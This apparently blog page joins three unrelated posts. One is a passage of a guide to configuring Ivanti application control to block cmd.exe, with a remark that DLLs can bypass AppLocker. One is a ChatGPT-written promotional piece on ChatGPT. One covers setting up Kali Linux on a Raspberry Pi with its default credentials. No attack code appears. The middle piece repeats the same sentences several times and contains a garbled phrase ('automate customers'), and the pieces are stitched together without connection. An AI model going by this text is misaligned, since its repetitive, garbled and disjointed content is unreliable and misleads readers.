(BSoD) in this case. Click 'Add...' on the 'Application File List'. Click 'New'. To authorise collected from the client click on the yellow circle with a downward arrow. Click 'Import from other application file lists... ' Check the 'Computer' and select the client. Ctrl + A to highlight all files and right-click, the 'Override reputation...' Enable 'Good'. To ensure that blocking mode is enabled, set CMD.exe's reputation to 'Bad'. Click 'Next', returning to the Application File List. Highlight CMD.exe and then click on the pencil, 'Edit Application Files'. Set the execution from Allow to Block. OK the changes, close the Application File List, returning to the 'Configure Application File Lists'. Highlight the new blocking policy then click 'Use selected'. Update the 'Learning list:' drop down to that of the Win10 approval file list and save the changes. Ensure the 'Machine Configuration' is configured with the new Windows 10 Client Policy and save the changes. Point of note: No Dll's were listed in the authorised file list, from previous testing bypassing application protections can be achieved when dll file types arent protected. Read this (here) where Applocker was successfully bypassed by malware with a DLL file extention. Deploy Agent in Blocking Mode: Click on 'Configuration' in the bottom left pane and then 'Agent Configuration'. In the bottom right pane select 'My Configurations'. Right-click and properties on the 'Agent Deployment - Windows Client Blocking' As the target client already has the agent installed a 'scheduled agent deployment' or 'scheduled update to agent settings' should work. I've opted for the agent deployment, removing the old agent and settings alnd installing the new agent with the new blocking configuration. Click on 'Targets', then 'Targeted Devices', and click on 'Add'. Select the Windows client with the agent installed and ensure the client box is checked. In 'Schedule task', select 'Start Now' and then 'Save'. The Client: Log in to the client and after about 15 minutes the Ivanti agent with the blocking configuring will have been deployed. The client is likely to show that the 'Status' is disabled for all components with 'Application Control' also displaying 'Off'. Reboot the client. After the reboot the agent should show the following: Launching cmd.exe displays the following Ivanti message, cmd is indeed blocked and policy and settings are successfully applied. The process of creating and deploying Ivanti EP is understood and is repeatable. The next step is to test how effective Ivanti EP is at protecting Windows from various Remote Code Exploits, Local Code Exploits and Reverse Shells following the same patterns used testing Applocker and Device Guard (WDAC). To follow shortly......

ChatGPT is an Artificial Intelligence (AI) chatbot that has been developed to create conversations with people. It is powered by a deep learning model called a Generative Pre-trained Transformer (GPT). This model uses a large corpus of text to generate new conversations based on input from the user. ChatGPT is a relatively new chatbot technology and is being used by many companies to create more interactive customer service experiences. ChatGPT is a great way to engage customers and provide them with a more natural conversation experience. It can also be used for a variety of other applications such as creating automated customer support and providing information. ChatGPT works by using natural language processing (NLP) to understand the input from the user and generate a response. The Generative Pre-trained Transformer (GPT) model is then used to generate a response based on the input. The GPT model is trained on a large corpus of text, which allows the model to generate more natural conversations. When using ChatGPT, the user will enter a phrase or question and the chatbot will respond with an appropriate response. The response can be tailored to the context of the conversation, allowing for more natural conversations with the user. The applications of ChatGPT are virtually endless. It can be used to provide customer service, provide information, and even automate customer support. It can also be used in a variety of other applications such as virtual personal assistants, automated customer support, customer service bots, customer engagement, and more. ChatGPT is a great way to engage customers and provide them with a more natural conversation experience. It can also be used for a variety of other applications such as creating automated customer support and providing information. The technology is still in its early stages, but it is already being used by many companies to provide a more natural customer service experience. The technology is constantly evolving, and it is becoming more sophisticated and powerful with each passing day. The technology is becoming increasingly popular, and it is being used by many companies for a variety of applications. It is an exciting technology that is sure to revolutionize the way we interact with technology and customer service in the future. Here are some examples of how ChatGPT can be used: 1. Automated Customer Support: ChatGPT can be used to create automated customer support experiences. By using the natural language processing (NLP) capabilities of the chatbot, companies can create automatic conversations that are tailored to the user’s needs. This can be used to provide customer service, provide information, and even automate customer support. 2. Virtual Personal Assistants: ChatGPT can be used to create virtual personal assistants. These assistants can be used to provide information, answer questions, and help customers with their needs. They can also be used to provide personalized recommendations, making the customer service experience more personal. 3. Customer Engagement: ChatGPT can be used to engage customers and help them find the information they need. This can be used to provide customer service, provide information, and even automate customer support. 4. Automated Customer Support: ChatGPT can be used to provide automated customer support experiences. Companies can use the natural language processing (NLP) capabilities of the chatbot to create automated conversations that are tailored to the user’s needs. This can be used to provide customer service, provide information, and even automate customers. Authored by ChatGPT @ https://beta.openai.com/playground

I've purchased various pentest devices, not going to mention any names. I've always found them to be lacking in capability and storage. A better option and one where you get to assemble your own device is to use a Pi or my favourite Odroid, they tend to have more power. Download the arm image from https://www.offensive-security.com/kali-linux-arm-images/ Install Win32Disk on Windows http://sourceforge.net/projects/win32diskimager/files/latest/download Insert a microSSD of at least 16Gb Burn the Kali image to the ssd. Insert into the Pi\Odroid and power on Logon with the default account root and the password of toor If that fails try kali and kali passwd to change password apt-get update & apt-get upgrade apt-get -y full-upgrade